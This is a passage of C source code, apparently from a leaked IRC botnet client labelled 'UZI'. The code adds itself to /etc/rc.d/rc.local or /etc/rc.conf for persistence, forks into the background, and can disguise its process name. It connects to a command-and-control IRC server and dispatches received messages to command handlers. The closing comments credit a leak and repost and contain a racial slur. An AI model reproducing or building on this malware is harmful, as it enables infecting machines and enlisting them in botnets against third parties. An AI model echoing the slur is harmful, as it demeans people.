        while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
2318
	if (inet_addr(server) == 0 || inet_addr(server) == -1) {
2319
		if ((hp = gethostbyname(server)) == NULL) {
2320
			server=NULL;
2321
			close(sock);
2322
			goto start;
2323
		}
2324
		bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
2325
	}
2326
	else srv.sin_addr.s_addr=inet_addr(server);
2327
        srv.sin_family = AF_INET;
2328
        srv.sin_port = htons(cnport); 
2329
	ioctl(sock,FIONBIO,&flag);
2330
	start=time(NULL);
2331
	while(time(NULL)-start < 10) {
2332
		errno=0;
2333
		if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
2334
		        setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
2335
		        setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
2336
		        setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
2337
			return;
2338
		}
2339
		if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
2340
		sleep(1);
2341
	}
2342
	server=NULL;
2343
	close(sock);
2344
	goto start;
2345
}
2346
int main(int argc, char **argv) {
2347
		printf("UZI\n");
2348
        int on,i;
2349
        char cwd[256],*str;
2350
        FILE *file;
2351
#ifdef STARTUP
2352
	str="/etc/rc.d/rc.local";
2353
	file=fopen(str,"r");
2354
	if (file == NULL) {
2355
		str="/etc/rc.conf";
2356
		file=fopen(str,"r");
2357
	}
2358
        if (file != NULL) {
2359
                char outfile[256], buf[1024];
2360
                int i=strlen(argv[0]), d=0;
2361
                getcwd(cwd,256);
2362
                if (strcmp(cwd,"/")) {
2363
                        while(argv[0][i] != '/') i--;
2364
                        sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
2365
                        while(!feof(file)) {
2366
                                fgets(buf,1024,file);
2367
                                if (!strcasecmp(buf,outfile)) d++;
2368
                        }
2369
                        if (d == 0) {
2370
                                FILE *out;
2371
                                fclose(file);
2372
                                out=fopen(str,"a");
2373
                                if (out != NULL) {
2374
                                        fputs(outfile,out);
2375
                                        fclose(out);
2376
                                }
2377
                        }
2378
                        else fclose(file);
2379
                }
2380
                else fclose(file);
2381
        }
2382
#endif
2383
        if (fork()) exit(0);
2384
        getOurIP();
2385
#ifdef FAKENAME
2386
	strncpy(argv[0],FAKENAME,strlen(argv[0]));
2387
        for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
2388
#endif
2389
        srand((time(NULL) ^ getpid()) + getppid());
2390
        nick=makestring();
2391
        ident=BOTident;
2392
        user=BOTuser;
2393
        chan=CHAN;
2394
	key=KEY;
2395
	server=NULL;
2396
sa:
2397
#ifdef IDENT
2398
        for (i=0;i<numpids;i++) {
2399
                if (pids[i] != 0 && pids[i] != getpid()) {
2400
                        kill(pids[i],9);
2401
			waitpid(pids[i],NULL,WNOHANG);
2402
                }
2403
        }
2404
	pids=NULL;
2405
	numpids=0;
2406
	identd();
2407
#endif
2408
	con();
2409
        Send(sock, "NICK [%s|%s]%s\nUSER %s localhost localhost :%s\n", PREFIX, getBuild(), nick, user, ident);
2410
        while(1) {
2411
                unsigned long i;
2412
                fd_set n;
2413
                struct timeval tv;
2414
                FD_ZERO(&n);
2415
                FD_SET(sock,&n);
2416
                tv.tv_sec=60*20;
2417
                tv.tv_usec=0;
2418
                if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
2419
                for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
2420
                        unsigned int *newpids,on;
2421
                        for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
2422
			pids[on-1]=0;
2423
                        numpids--;
2424
                        newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
2425
                        for (on=0;on<numpids;on++) newpids[on]=pids[on];
2426
                        free(pids);
2427
                        pids=newpids;
2428
                }
2429
                if (FD_ISSET(sock,&n)) {
2430
                        char buf[4096], *str;
2431
                        int i;
2432
                        if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
2433
                        buf[i]=0;
2434
                        str=strtok(buf,"\n");
2435
                        while(str && *str) {
2436
                                char name[1024], sender[1024];
2437
                                filter(str);
2438
                                if (*str == ':') {
2439
                                        for (i=0;i<strlen(str) && str[i] != ' ';i++);
2440
                                        str[i]=0;
2441
                                        strcpy(sender,str+1);
2442
                                        strcpy(str,str+i+1);
2443
                                }
2444
                                else strcpy(sender,"*");
2445
                                for (i=0;i<strlen(str) && str[i] != ' ';i++);
2446
                                str[i]=0;
2447
                                strcpy(name,str);
2448
                                strcpy(str,str+i+1);
2449
                                for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
2450
                                if (!strcasecmp(name,"ERROR")) goto sa;
2451
                                str=strtok((char*)NULL,"\n");
2452
                        }
2453
                }
2454
        }
2455
        return 0;
2456
}
2457
// Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger)
2458
// Leaked by unknown, reposted by Scarface. 23/5/2018